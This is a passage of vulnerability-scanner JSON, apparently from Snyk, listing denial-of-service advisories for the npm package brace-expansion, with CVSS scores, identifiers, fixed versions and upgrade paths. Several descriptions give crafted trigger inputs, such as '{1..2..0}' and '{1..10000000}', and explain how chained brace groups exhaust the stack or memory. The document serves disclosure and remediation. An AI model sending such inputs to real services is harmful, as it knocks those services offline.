[ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in 